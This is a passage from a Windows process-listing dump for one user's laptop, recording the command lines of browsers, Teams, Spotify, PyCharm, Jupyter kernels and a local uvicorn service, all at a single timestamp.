--field-trial-handle=1852,i,17236796965478837166,13229934097899133666,262144 --enable-features=AutofillReplaceCachedWebElementsByRendererIds,DocumentPolicyIncludeJSCallStacksInCrashReports,PartitionedCookies,PreferredAudioOutputDevices,SharedArrayBuffer,ThirdPartyStoragePartitioning,msAbydos,msAbydosGestureSupport,msAbydosHandwritingAttr,msSingleSignOnOSForPrimaryAccountIsShared,msWebView2EnableDraggableRegions,msWebView2SetUserAgentOverrideOnIframes,msWebView2TerminateServiceWorkerWhenIdleIgnoringCdpSessions,msWebView2TextureStream --disable-features=BlockCrossPartitionBlobUrlFetching,BreakoutBoxPreferCaptureTimestampInVideoFrames,msEnhancedTrackingPreventionEnabled,msWebOOUI --variations-seed-version --trace-process-track-uuid=3190708991934122588 --mojo-platform-channel-handle=4424 /pfhostedapp:c071bbccda351e79df582a0d3dfe9cf4aeabcec3 /prefetch:1


name: python.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-24T14:27:56.340705
cmdline:
  C:/Users/Ilina/anaconda3\python.exe -Xfrozen_modules=off -m ipykernel_launcher -f C:\Users\Ilina\AppData\Roaming\jupyter\runtime\kernel-aa7d99fe-ae96-42c7-9015-e386df87b61a.json


name: ShellExperienceHost.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-24T14:27:56.340705
cmdline:
  C:\WINDOWS\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe -ServerName:App.AppXtk181tbxbce2qsex02s8tw7hfxa9xb3t.mca


name: msedgewebview2.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-24T14:27:56.340705
cmdline:
  C:\Program Files (x86)\Microsoft\EdgeWebView\Application\143.0.3650.139\msedgewebview2.exe --embedded-browser-webview=1 --webview-exe-name=SearchHost.exe --webview-exe-version=2125.30600.10.0 --user-data-dir=C:\Users\Ilina\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView --noerrdialogs --disable-features=msSmartScreenProtection --edge-webview-enable-mojo-ipcz --enable-features=msEdgeFluentOverlayScrollbar --user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7623) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 143.0.3650.96) --lang=en-US --mojo-named-platform-channel-pipe=10972.2028.8092627219447895104 /pfhostedapp:5474d267fa1f934905455d958f4f1c92f40d5d8a


name: Notepad.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-24T14:27:56.340705
cmdline:
  C:\Program Files\WindowsApps\Microsoft.WindowsNotepad_11.2508.38.0_x64__8wekyb3d8bbwe\Notepad\Notepad.exe RestartByRestartManager:*


name: chrome.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-24T14:27:56.340705
cmdline:
  C:\Program Files\Google\Chrome\Application\chrome.exe --type=renderer --enable-dinosaur-easter-egg-alt-images --origin-trial-disabled-features=CanvasTextNg|WebAssemblyCustomDescriptors --no-pre-read-main-dll --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1.25 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4635 --time-ticks-at-unix-epoch=-1768367280858223 --launch-time-ticks=832726869930 --metrics-shmem-handle=17360,i,8507827084239572945,14163274663423431937,2097152 --field-trial-handle=1924,i,2027466240097822814,12173625500368993644,262144 --variations-seed-version=20260114-090054.929000 --trace-process-track-uuid=3190713329500841609 --mojo-platform-channel-handle=15420 /prefetch:1


name: AsusSoftwareManagerAgent.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-24T14:27:56.340705
cmdline:
  C:\WINDOWS\System32\DriverStore\FileRepository\asussci2.inf_amd64_e2422867901879a2\ASUSSoftwareManager\AsusSoftwareManagerAgent.exe Start d166ebe8-6108-41dc-be3e-3e523f8418fa


name: full-line-inference.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-24T14:27:56.340705
cmdline:
  C:\Users\Ilina\AppData\Local\JetBrains\PyCharm2024.3\full-line\models\0956c154-2481-3a74-bb4a-a93f1c04a87f\full-line-inference.zip_extracted\full-line-inference.exe --model C:\Users\Ilina\AppData\Local\JetBrains\PyCharm2024.3\full-line\models\0956c154-2481-3a74-bb4a-a93f1c04a87f\flcc.model --type llama --beam-size 2 --iterations-count 20 --context-ratio 0.5 --min-cached 5 --max-missing 30 --max-model-ctx 0


name: powershell.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-24T14:27:56.340705
cmdline:
  powershell.exe -NoExit -ExecutionPolicy Bypass -File C:\Program Files\JetBrains\PyCharm 2024.3.3\plugins\terminal\shell-integrations\powershell\powershell-integration.ps1


name: msedge.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-24T14:27:56.340705
cmdline:
  C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --video-capture-use-gpu-memory-buffer --ssd-no-pressure-read-main-dll --metrics-shmem-handle=7364,i,5958959313986487462,5757698039239744885,524288 --field-trial-handle=2304,i,8826279809462224588,14438565125565067693,262144 --variations-seed-version --trace-process-track-uuid=3190709012549043266 --mojo-platform-channel-handle=3728 /prefetch:14


name: Spotify.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-24T14:27:56.340705
cmdline:
  C:\Users\Ilina\AppData\Roaming\Spotify\Spotify.exe --type=renderer --enable-dinosaur-easter-egg-alt-images --origin-trial-disabled-features=CanvasTextNg|WebAssemblyCustomDescriptors --no-pre-read-main-dll --user-data-dir=C:\Users\Ilina\AppData\Local\Spotify --log-severity=disable --user-agent-product=Chrome/142.0.7444.176 Spotify/1.2.79.427 --autoplay-policy=no-user-gesture-required --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1.25 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --time-ticks-at-unix-epoch=-1768367243995935 --launch-time-ticks=722457850601 --metrics-shmem-handle=7024,i,3651850177553394305,7912624098961667610,2097152 --field-trial-handle=2568,i,3633498497538398125,272714557581421741,262144 --disable-features=BackForwardCache,FullscreenBubbleShowOrigin,GlicActorUi,HardwareMediaKeyHandling,LensOverlay,PartitionAllocDanglingPtr,PartitionAllocUnretainedDanglingPtr,StorageNotificationService --variations-seed-version --trace-process-track-uuid=3190708991934122588 --enable-logging=handle --log-file=7036 --mojo-platform-channel-handle=7032 /prefetch:1


name: RtkAudUService64.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-24T14:27:56.340705
cmdline:
  C:\WINDOWS\System32\DriverStore\FileRepository\realtekservice.inf_amd64_af49968a824c7864\RtkAudUService64.exe -background


name: chrome.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-24T14:27:56.340705
cmdline:
  C:\Program Files\Google\Chrome\Application\chrome.exe --type=renderer --enable-dinosaur-easter-egg-alt-images --origin-trial-disabled-features=CanvasTextNg|WebAssemblyCustomDescriptors --no-pre-read-main-dll --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1.25 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4853 --time-ticks-at-unix-epoch=-1768367280858223 --launch-time-ticks=840272359549 --metrics-shmem-handle=3632,i,13572801963177638399,2896633190613742880,2097152 --field-trial-handle=1924,i,2027466240097822814,12173625500368993644,262144 --variations-seed-version=20260114-090054.929000 --trace-process-track-uuid=3190713533775964691 --mojo-platform-channel-handle=12308 /prefetch:1


name: OpenConsole.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-24T14:27:56.340705
cmdline:
  C:\Program Files\JetBrains\PyCharm 2024.3.3\lib\pty4j\win\x86-64\OpenConsole.exe --headless --width 161 --height 5 --signal 0x2cbc --server 0x2cec


name: msedgewebview2.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-24T14:27:56.340705
cmdline:
  C:\Program Files (x86)\Microsoft\EdgeWebView\Application\143.0.3650.139\msedgewebview2.exe --type=crashpad-handler --user-data-dir=C:\Users\Ilina\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView /prefetch:4 /pfhostedapp:d8798c21d99877465aca35d796995b6b3d2d6b0e --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Ilina\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=143.0.7499.193 --annotation=exe=C:\Program Files (x86)\Microsoft\EdgeWebView\Application\143.0.3650.139\msedgewebview2.exe --annotation=plat=Win64 --annotation=prod=Edge WebView2 --annotation=ver=143.0.3650.139 --initial-client-data=0x174,0x178,0x17c,0x150,0x184,0x7ffcf70e62b8,0x7ffcf70e62c4,0x7ffcf70e62d0


name: msedgewebview2.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-24T14:27:56.340705
cmdline:
  C:\Program Files (x86)\Microsoft\EdgeWebView\Application\143.0.3650.139\msedgewebview2.exe --embedded-browser-webview=1 --webview-exe-name=ms-teams.exe --webview-exe-version=25332.1210.4188.1171 --user-data-dir=C:\Users\Ilina\AppData\Local\Packages\MSTeams_8wekyb3d8bbwe\LocalCache\Microsoft\MSTeams\EBWebView --noerrdialogs --embedded-browser-webview-dpi-awareness=2 --autoplay-policy=no-user-gesture-required --disable-background-timer-throttling --disable-features=msEnhancedTrackingPreventionEnabled,BreakoutBoxPreferCaptureTimestampInVideoFrames,BlockCrossPartitionBlobUrlFetching,msWebOOUI --enable-blink-features=IndexedDbGetAllRecords --enable-features=msSingleSignOnOSForPrimaryAccountIsShared,SharedArrayBuffer,AutofillReplaceCachedWebElementsByRendererIds,msWebView2TerminateServiceWorkerWhenIdleIgnoringCdpSessions,msWebView2SetUserAgentOverrideOnIframes,PreferredAudioOutputDevices,DocumentPolicyIncludeJSCallStacksInCrashReports,RendererHangWatcher:delay/13s,UnresponsiveMultipleStackCollection:delay/100/count/5,PartitionedCookies,ThirdPartyStoragePartitioning,msWebView2TextureStream,msWebView2EnableDraggableRegions,msAbydos,msAbydosHandwritingAttr,msAbydosGestureSupport --gpu-watchdog-timeout-seconds=60 --isolate-origins=https://[*.]microsoft.com,https://[*.]sharepoint.com,https://[*.]sharepointonline.com,https://mesh-hearts-teams.azurewebsites.net,https://[*.]meshxp.net,https://res-sdf.cdn.office.net,https://res.cdn.office.net,https://copilot.teams.cloud.microsoft,https://local.copilot.teams.office.com --js-flags=--stack-trace-limit=50 --lang=en-US --mojo-named-platform-channel-pipe=11660.8216.1050937073107465803 /pfhostedapp:c071bbccda351e79df582a0d3dfe9cf4aeabcec3


name: chrome.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-24T14:27:56.340705
cmdline:
  C:\Program Files\Google\Chrome\Application\chrome.exe --type=renderer --enable-dinosaur-easter-egg-alt-images --origin-trial-disabled-features=CanvasTextNg|WebAssemblyCustomDescriptors --no-pre-read-main-dll --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1.25 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5175 --time-ticks-at-unix-epoch=-1768367280858223 --launch-time-ticks=893854663626 --metrics-shmem-handle=19136,i,2620413184215024190,14146836799292091830,2097152 --field-trial-handle=1924,i,2027466240097822814,12173625500368993644,262144 --variations-seed-version=20260114-090054.929000 --trace-process-track-uuid=3190713835503440069 --mojo-platform-channel-handle=7844 /prefetch:1


name: chrome.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-24T14:27:56.340705
cmdline:
  C:\Program Files\Google\Chrome\Application\chrome.exe --type=gpu-process --no-pre-read-main-dll --gpu-preferences=SAAAAAAAAADgAAAEAAAAAAAAAAAAAGAAAQAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1740,i,1138959920707439436,3970885154700522460,262144 --field-trial-handle=1924,i,2027466240097822814,12173625500368993644,262144 --variations-seed-version=20260114-090054.929000 --trace-process-track-uuid=3190708988185955192 --mojo-platform-channel-handle=1920 /prefetch:2


name: python.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-24T14:27:56.340705
cmdline:
  C:\Users\Ilina\AppData\Local\Programs\Python\Python311\python.exe C:\work\analytics_service\.venv\Scripts\uvicorn.exe main:app --host 0.0.0.0 --port 8001


name: CrossDeviceResume.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-24T14:27:56.340705
cmdline:
  C:\WINDOWS\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\CrossDeviceResume.exe /tileid MicrosoftWindows.Client.CBS_cw5n1h2txyewy!CrossDeviceResumeApp


name: python.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-24T14:27:56.340705
cmdline:
  C:/Users/Ilina/anaconda3\python.exe -Xfrozen_modules=off -m ipykernel_launcher -f C:\Users\Ilina\AppData\Roaming\jupyter\runtime\kernel-765eaa28-dd05-4fc1-9e23-093da0c84661.json


name: chrome.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-24T14:27:56.340705
cmdline:
  C:\Program Files\Google\Chrome\Application\chrome.exe --type=renderer --enable-dinosaur-easter-egg-alt-images --origin-trial-disabled-features=CanvasTextNg|WebAssemblyCustomDescriptors --no-pre-read-main-dll --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1.25 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5071 --time-ticks-at-unix-epoch=-1768367280858223 --launch-time-ticks=885390934360 --metrics-shmem-handle=17284,i,14705773710159960742,9297309066036522900,2097152 --field-trial-handle=1924,i,2027466240097822814,12173625500368993644,262144 --variations-seed-version=20260114-090054.929000 --trace-process-track-uuid=3190713738051087773 --mojo-platform-channel-handle=15192 /prefetch:1


name: msedgewebview2.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-24T14:27:56.340705
cmdline:
  C:\Program Files (x86)\Microsoft\EdgeWebView\Application\143.0.3650.139\msedgewebview2.exe --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir=C:\Users\Ilina\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=11056.11012.691936486195418639 /pfhostedapp:d8798c21d99877465aca35d796995b6b3d2d6b0e


name: msedgewebview2.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-24T14:27:56.340705
cmdline:
  C:\Program Files (x86)\Microsoft\EdgeWebView\Application\143.0.3650.139\msedgewebview2.exe --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir=C:\Users\Ilina\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --embedded-browser-webview=1 --no-pre-read-main-dll --startup-read-main-dll --metrics-shmem-handle=2164,i,8417687147151394116,4795332166304741305,524288 --field-trial-handle=1900,i,2382477317839548085,11020950535975104632,262144 --variations-seed-version --trace-process-track-uuid=3190708989122997041 --mojo-platform-channel-handle=2172 /prefetch:11 /pfhostedapp:d8798c21d99877465aca35d796995b6b3d2d6b0e


name: chrome.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-24T14:27:56.340705
cmdline:
  C:\Program Files\Google\Chrome\Application\chrome.exe --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --origin-trial-disabled-features=CanvasTextNg|WebAssemblyCustomDescriptors --no-pre-read-main-dll --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1.25 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --time-ticks-at-unix-epoch=-1768367280858223 --launch-time-ticks=294052368966 --metrics-shmem-handle=4324,i,9748379213839784099,18115964489959390915,2097152 --field-trial-handle=1924,i,2027466240097822814,12173625500368993644,262144 --variations-seed-version=20260114-090054.929000 --trace-process-track-uuid=3190708993808206286 --mojo-platform-channel-handle=4268 /prefetch:9


name: QtWebEngineProcess.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-24T14:27:56.340705
cmdline:
  C:\Users\Ilina\AppData\Local\Viber\QtWebEngineProcess.exe --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en --service-sandbox-type=none --use-gl=angle --application-name=ViberPC --video-capture-use-gpu-memory-buffer --webengine-schemes=qrc:slLVFG --field-trial-handle=6648,i,1782446730146898868,5523918878176098320,262144 --enable-features=NetworkServiceInProcess,NetworkServiceInProcess2,TracingServiceInProcess --disable-features=AudioServiceOutOfProcess,BackgroundFetch,EyeDropper,InstalledApp,StandardCompliantNonSpecialSchemeURLParsing,WebOTP,WebPayments,WebUSB --variations-seed-version --mojo-platform-channel-handle=13392 /prefetch:8


name: OpenConsole.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-24T14:27:56.340705
cmdline:
  C:\Program Files\JetBrains\PyCharm 2024.3.3\lib\pty4j\win\x86-64\OpenConsole.exe --headless --width 161 --height 10 --signal 0x1924 --server 0x30a4


name: msedgewebview2.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-24T14:27:56.340705
cmdline:
  C:\Program Files (x86)\Microsoft\EdgeWebView\Application\143.0.3650.139\msedgewebview2.exe --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir=C:\Users\Ilina\AppData\Local\Packages\MSTeams_8wekyb3d8bbwe\LocalCache\Microsoft\MSTeams\EBWebView --webview-exe-name=ms-teams.exe --webview-exe-version=25332.1210.4188.1171 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --no-pre-read-main-dll --startup-read-main-dll --metrics-shmem-handle=2472,i,8698625442087845627,3550998027398407305,524288 --field-trial-handle=1852,i,17236796965478837166,13229934097899133666,262144 --enable-features=AutofillReplaceCachedWebElementsByRendererIds,DocumentPolicyIncludeJSCallStacksInCrashReports,PartitionedCookies,PreferredAudioOutputDevices,SharedArrayBuffer,ThirdPartyStoragePartitioning,msAbydos,msAbydosGestureSupport,msAbydosHandwritingAttr,msSingleSignOnOSForPrimaryAccountIsShared,msWebView2EnableDraggableRegions,msWebView2SetUserAgentOverrideOnIframes,msWebView2TerminateServiceWorkerWhenIdleIgnoringCdpSessions,msWebView2TextureStream --disable-features=BlockCrossPartitionBlobUrlFetching,BreakoutBoxPreferCaptureTimestampInVideoFrames,msEnhancedTrackingPreventionEnabled,msWebOOUI --variations-seed-version --trace-process-track-uuid=3190708990060038890 --mojo-platform-channel-handle=2484 /prefetch:13 /pfhostedapp:c071bbccda351e79df582a0d3dfe9cf4aeabcec3


name: msedgewebview2.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-24T14:27:56.340705
cmdline:
  C:\Program Files (x86)\Microsoft\EdgeWebView\Application\143.0.3650.139\msedgewebview2.exe --type=crashpad-handler --user-data-dir=C:\Users\Ilina\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView /prefetch:4 /pfhostedapp:5474d267fa1f934905455d958f4f1c92f40d5d8a --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Ilina\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=143.0.7499.193 --annotation=exe=C:\Program Files (x86)\Microsoft\EdgeWebView\Application\143.0.3650.139\msedgewebview2.exe --annotation=plat=Win64 --annotation=prod=Edge WebView2 --annotation=ver=143.0.3650.139 --initial-client-data=0x16c,0x170,0x174,0x148,0x17c,0x7ffcf70e62b8,0x7ffcf70e62c4,0x7ffcf70e62d0


name: SearchHost.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-24T14:27:56.340705
cmdline:
  C:\WINDOWS\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca


name: StartMenuExperienceHost.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-24T14:27:56.340705
cmdline:
  C:\WINDOWS\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe -ServerName:FullTrustApp.AppXykjsye98af63ez2annt9djke8trg8stn.mca


name: msedgewebview2.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-24T14:27:56.340705
cmdline:
  C:\Program Files (x86)\Microsoft\EdgeWebView\Application\143.0.3650.139\msedgewebview2.exe --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir=C:\Users\Ilina\AppData\Local\Packages\MSTeams_8wekyb3d8bbwe\LocalCache\Microsoft\MSTeams\EBWebView --webview-exe-name=ms-teams.exe --webview-exe-version=25332.1210.4188.1171 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --no-pre-read-main-dll --startup-read-main-dll --metrics-shmem-handle=2128,i,8810384588684174009,1223568998920488878,524288 --field-trial-handle=1852,i,17236796965478837166,13229934097899133666,262144 --enable-features=AutofillReplaceCachedWebElementsByRendererIds,DocumentPolicyIncludeJSCallStacksInCrashReports,PartitionedCookies,PreferredAudioOutputDevices,SharedArrayBuffer,ThirdPartyStoragePartitioning,msAbydos,msAbydosGestureSupport,msAbydosHandwritingAttr,msSingleSignOnOSForPrimaryAccountIsShared,msWebView2EnableDraggableRegions,msWebView2SetUserAgentOverrideOnIframes,msWebView2TerminateServiceWorkerWhenIdleIgnoringCdpSessions,msWebView2TextureStream --disable-features=BlockCrossPartitionBlobUrlFetching,BreakoutBoxPreferCaptureTimestampInVideoFrames,msEnhancedTrackingPreventionEnabled,msWebOOUI --variations-seed-version --trace-process-track-uuid=3190708989122997041 --mojo-platform-channel-handle=2132 /prefetch:11 /pfhostedapp:c071bbccda351e79df582a0d3dfe9cf4aeabcec3


name: msedgewebview2.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-24T14:27:56.340705
cmdline:
  C:\Program Files (x86)\Microsoft\EdgeWebView\Application\143.0.3650.139\msedgewebview2.exe --type=crashpad-handler --user-data-dir=C:\Users\Ilina\AppData\Local\Packages\MSTeams_8wekyb3d8bbwe\LocalCache\Microsoft\MSTeams\EBWebView /prefetch:4 /pfhostedapp:c071bbccda351e79df582a0d3dfe9cf4aeabcec3 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Ilina\AppData\Local\Packages\MSTeams_8wekyb3d8bbwe\LocalCache\Microsoft\MSTeams\EBWebView\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=143.0.7499.193 --annotation=exe=C:\Program Files (x86)\Microsoft\EdgeWebView\Application\143.0.3650.139\msedgewebview2.exe --annotation=plat=Win64 --annotation=prod=Edge WebView2 --annotation=ver=143.0.3650.139 --initial-client-data=0x174,0x178,0x17c,0x150,0x184,0x7ffcf70e62b8,0x7ffcf70e62c4,0x7ffcf70e62d0


name: msedgewebview2.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-24T14:27:56.340705
cmdline:
  C:\Program Files (x86)\Microsoft\EdgeWebView\Application\143.0.3650.139\msedgewebview2.exe --type=gpu-process --gpu-watchdog-timeout-seconds=60 --noerrdialogs --user-data-dir=C:\Users\Ilina\AppData\Local\Packages\MSTeams_8wekyb3d8bbwe\LocalCache\Microsoft\MSTeams\EBWebView --webview-exe-name=ms-teams.exe --webview-exe-version=25332.1210.4188.1171 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --no-pre-read-main-dll --gpu-preferences=SAAAAAAAAADgAAAEAAAAAAAAAAAAAGAAAQAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --startup-read-main-dll --metrics-shmem-handle=1700,i,14594659594335463603,13581229580522432221,262144 --field-trial-handle=1852,i,17236796965478837166,13229934097899133666,262144 --enable-features=AutofillReplaceCachedWebElementsByRendererIds,DocumentPolicyIncludeJSCallStacksInCrashReports,PartitionedCookies,PreferredAudioOutputDevices,SharedArrayBuffer,ThirdPartyStoragePartitioning,msAbydos,msAbydosGestureSupport,msAbydosHandwritingAttr,msSingleSignOnOSForPrimaryAccountIsShared,msWebView2EnableDraggableRegions,msWebView2SetUserAgentOverrideOnIframes,msWebView2TerminateServiceWorkerWhenIdleIgnoringCdpSessions,msWebView2TextureStream --disable-features=BlockCrossPartitionBlobUrlFetching,BreakoutBoxPreferCaptureTimestampInVideoFrames,msEnhancedTrackingPreventionEnabled,msWebOOUI --variations-seed-version --trace-process-track-uuid=3190708988185955192 --mojo-platform-channel-handle=1720 /prefetch:2 /pfhostedapp:c071bbccda351e79df582a0d3dfe9cf4aeabcec3


name: msedgewebview2.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-24T14:27:56.340705
cmdline:
  C:\Program Files (x86)\Microsoft\EdgeWebView\Application\143.0.3650.139\msedgewebview2.exe --type=renderer --noerrdialogs --user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7623) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 143.0.3650.96) --user-data-dir=C:\Users\Ilina\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView --webview-exe-name=SearchHost.exe --webview-exe-version=2125.30600.10.0 --embedded-browser-webview=1 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--expose-gc --device-scale-factor=1.25 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --time-ticks-at-unix-epoch=-1768367286322814 --launch-time-ticks=28222112241 --always-read-main-dll --metrics-shmem-handle=3540,i,16143865913749719575,13563366109910906689,2097152 --field-trial-handle=1972,i,6807608580786065842,1714034539356809234,262144 --enable-features=msEdgeFluentOverlayScrollbar --disable-features=msSmartScreenProtection --variations-seed-version --trace-process-track-uuid=3190708990997080739 --mojo-platform-channel-handle=3552 /pfhostedapp:5474d267fa1f934905455d958f4f1c92f40d5d8a /prefetch:1


name: python.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-24T14:27:56.340705
cmdline:
  C:/Users/Ilina/anaconda3\python.exe -Xfrozen_modules=off -m ipykernel_launcher -f C:\Users\Ilina\AppData\Roaming\jupyter\runtime\kernel-45995a1e-3190-434c-b8b0-6302da94c5c4.json


name: ms-teams.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-24T14:27:56.340705
cmdline:
  C:\Users\Ilina\AppData\Local\Microsoft\WindowsApps\MSTeams_8wekyb3d8bbwe\ms-teams.exe msteams:system-initiated


name: msedgewebview2.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-24T14:27:56.340705
cmdline:
  C:\Program Files (x86)\Microsoft\EdgeWebView\Application\143.0.3650.139\msedgewebview2.exe --type=gpu-process --noerrdialogs --user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7623) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 143.0.3650.96) --user-data-dir=C:\Users\Ilina\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView --webview-exe-name=SearchHost.exe --webview-exe-version=2125.30600.10.0 --embedded-browser-webview=1 --no-pre-read-main-dll --gpu-preferences=SAAAAAAAAADgAAAEAAAAAAAAAAAAAGAAAQAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1772,i,3630113507443038689,8613882192539893893,262144 --field-trial-handle=1972,i,6807608580786065842,1714034539356809234,262144 --enable-features=msEdgeFluentOverlayScrollbar --disable-features=msSmartScreenProtection --variations-seed-version --trace-process-track-uuid=3190708988185955192 --mojo-platform-channel-handle=1968 /prefetch:2 /pfhostedapp:5474d267fa1f934905455d958f4f1c92f40d5d8a


name: msedgewebview2.exe
username: ILINA-LAPTOP\Ilina
timestamp: 2026-01-24T14:27:56.340705
cmdline:
